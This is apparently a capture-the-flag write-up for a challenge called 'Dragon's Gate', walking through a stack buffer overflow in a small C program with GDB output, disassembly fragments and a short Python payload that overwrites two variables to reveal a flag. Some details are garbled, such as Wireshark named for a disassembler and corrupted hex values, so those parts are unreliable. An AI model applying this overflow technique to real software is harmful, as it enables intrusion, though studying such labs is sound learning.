Dragon's Gate

Run "nc challenge.cz4067-ctf-trial.site 3001" and you will see this prompt:

Typing in the wrong secret will lead to:



Looking at the C program, we find that there is a buffer overflow vulnerability char input buffer[20];

And looking at the escape_success() function, we see that the secret key is hidden in the flag.txt file.

```
15 void escape success() {
      printf("Creaaaak. The gate opens!!!\n");
16
      printf("[Gatekeeper] Her Majesty asks you to pass a message: ");
17
18
      system("cat ./flag.txt");
      printf("[Gatekeeper] Fly safely!\n");
19
20 }
21
             - ----
```

Furthermore, we notice that we have to satisfy both the condition for gate and secret

```
if (gate != 0x0657ac1e){
    printf("[Gatekeeper] The gate is breached! The gate is breached!\n");
    printf("[Falklore] ROAAAAAAAAAAR\n");
    printf("This was your last moment...\n");
}
else {
    printf("test");
    if (secret == 0xdefec7ed) {
        escape_success();
    } else {
        escape_fail();
}
return 0;
```

In Wireshark, the address for gate and secret is 0xfleebabe and 0x657acle

```
LEA RDI,[s_[Gatekeeper]_You_have_only_one_c_001025... = "[Gatekeeper] You have only on...
RAX=>local 28,[RBP + -0x20]
                             RSI,RAX
RDI,[DAT_00102545]
                  CALL <EXTERNAL>::_isoc99_scanf
                 CALL <EXTERNAL>::putchar
ff ff

00101158 I7 d f8 CMP dword ptr [RBP + local_10].0x657acle

1e ac 57 06

0010141c 74 26 JZ LAB_00101444

0010141c 48 8d 3d LEA RDI.[s_[Gatekeeper]_The_gate_is_breache
23 11 00 00

00101425 84 86 fc CAI I «FXTFRNAI>::nuts
                 JZ LAB_00101444

LEA RDI,[s_[Gatekeeper]_The_gate_is_breache_001025... = '[Gatekeeper] The gate is brea...
```

Additionally, by inspecting the stack when main() is run with GDB debugger, it is revealed that the variables are ordered from lower to higher stack memory address in this order: input buffer, gate, secret.

Compile C code with -g so debugger runs line by line

```
shxn@shxn-virtual-machine:~/Downloads$ gcc dragongate.c -o dragongate -fno-stack
·protector -g
shxn@shxn-virtual-machine:~/Downloads$ gdb dragongate
```

At Scanf we check for address of input_buffer and do a check on the current stack pointer

```
(gdb) p &input buffer
$1 = (char (*)[20]) 0x7fffffffdf00
(gdb) x/20x Şsp
                                                 0x0f8bfbff
   fffffffdef0: 0xffffe038
                                 0x00007fff
                                                                  0x00000001
    ffffffdf00: 0x00000000
                                 0x00000000
                                                 0x00000000
                                                                  0x00000000
   fffffffdf10: 0x00000000
                                 0x00000000
                                                 0x0657ac1e
                                                                  0xf1eebabe
 x7fffffffdf20: 0x00000001
                                 0x00000000
                                                 0xf7c29d90
                                                                  0x00007fff
 x7fffffffdf30: 0x00000000
                                 0x00000000
                                                 0x555553de
                                                                  0x00005555
```

So, we must modify and overflow the buffer + NOPs as there is a "gap" between the input buffer and the gate.

```
# Craft payload
buffer = b'A'*20
nop_bridge = b'\x90' * 4
magic = nop_bridge + 0x0657ac1e.to_bytes(4,'little') + 0xdefec7ed.to_bytes(4,'little')
```

Re-compile the C program and run the python script should show the flag now

^{*}note: contents of address are stored in little-endian (right to left)